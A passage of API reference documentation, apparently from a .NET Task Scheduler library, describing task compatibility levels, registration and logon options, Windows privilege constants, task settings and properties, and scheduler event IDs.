+ TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has the Version1 flag set. + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for functionality that was + not forward-compatible. + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version2 flag set. + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive property set to true. + TaskDefinition.Settings.Volatile can be set to true. + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, see Enabled Property of + TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task Scheduler service does + not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration triggers, the task will + not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger is updated, the task + will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant cannot be combined with + the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is used, no password is + stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. The password must be + specified when a task is registered. This flag is not recommended for new tasks because it is less reliable than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege. User Right: + Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege identifies its holder as a + security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be set only to those + values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access + control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. This privilege is required by the + RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, + FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL + specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any + valid user or group security identifier (SID) as the owner of a file. This privilege is required by the RegLoadKey function. The following access + rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, + FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: Modify firmware + environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all traversal access checks. It + is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read all objects and + properties in the directory, regardless of the protection on the objects and properties. By default, it is assigned to the Administrator and + LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not supported. Note that this + value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is enabled by default for + administrators, services, and the local system account. User Right: Create global objects. Windows XP/2000: This privilege is not supported. Note + that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of process SID in the + IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default discretionary access control list + (DACL) will be modified to allow only the task SID and local system full control and the account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify the type of state + change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by switching users on + the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop Connection program + from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the Remote Desktop Connection + program from a remote computer. + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, see Task Idle Conditions. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value is one minute. If this + value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no value is specified for + this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time allowed is 1 minute. If + this value is TimeSpan.Zero, then the delay will be set to the default of 1 hour. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, if the task failed to + complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than + the value of the property. If the deadline is not specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive mode. The exclusivity is + guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If exclusivity is not specified, the task is + started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials that are used to + register the task, and the properties that describe the task. + + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the current task. If + changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if there were no future + run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all versions will return + DateTime.MinValue if there are no future run times. While this is different from the native 2.0 library, it was deemed more appropriate to + have consistency between the two libraries and with other .NET libraries. + + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + + Gets a value indicating whether this task is read only. Only available if + is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the most recent registration + event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling + from the currently registered folder using the currently registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. Run()). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value specified in this + parameter is ignored.If the value is passed into the flags parameter and the sessionID value is less than or + equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service will try to start the task interactively as + the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service will try to start the task interactively as the + user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. RunEx(0, 0, "MyUserName")). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current task. + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to execute and read a task, + then the user can stop the task. A user can stop the task instances that are running under the same credentials as the user account. In all other + cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the Task Scheduler. + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by third-parties who wish to + extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data stream directly. + Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can have values under V2. An example of + this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access to the task using the + native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the author of the task, and + the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + if set to true throws an with details about unsupported properties in the Data property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + if set to true throw a with details about invalid properties. + true if current is valid; false if not. + + + Gets the lowest supported version. + The output list. + + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting this property to + something other than a null or empty string, will set the property to NULL and will set the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property to something other + than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security context for the + tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + The property is set and the is read-only. + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This + method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a description of the task, the + author of the task, the date the task is registered, and the security descriptor of the task. + + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in Windows 8, many of the + native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is specified for this + property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value of 1 second indicates + the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a trigger is specified by the + EndBoundary property of all trigger types. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote Applications Integrated + Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not be terminated if it + exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + Gets or sets an XML-formatted definition of the task settings. + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable property of + ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run only if the specified network + profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + + Contains all the tasks that are registered. + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. This has been removed so that it is consistent with V2. + + + + Releases all resources used by this class. + + + + + Gets the collection enumerator for the register task collection. + + An for this collection. + + + + Internal constructor + + TaskService instance + The filter. + + + + Retrieves the current task. See for more information. + + + + + Releases all resources used by this class. + + + + + Moves to the next task. See MoveNext for more information. + + true if next task found, false if no more tasks. + + + + Reset task enumeration. See Reset for more information. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets or sets the regular expression filter for task names. + + The regular expression filter. + + + + Gets the specified registered task from the collection. + + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + + Gets the named registered task from the collection. + + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + + Determines whether the specified task exists. + + The name of the task. + true if task exists; otherwise, false. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Collection of running tasks. + + + + + Releases all resources used by this class. + + + + + Gets an IEnumerator instance for this collection. + + An enumerator. + + + + Releases all resources used by this class. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets the specified running task from the collection. + + The index of the running task to be retrieved. + A instance. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event 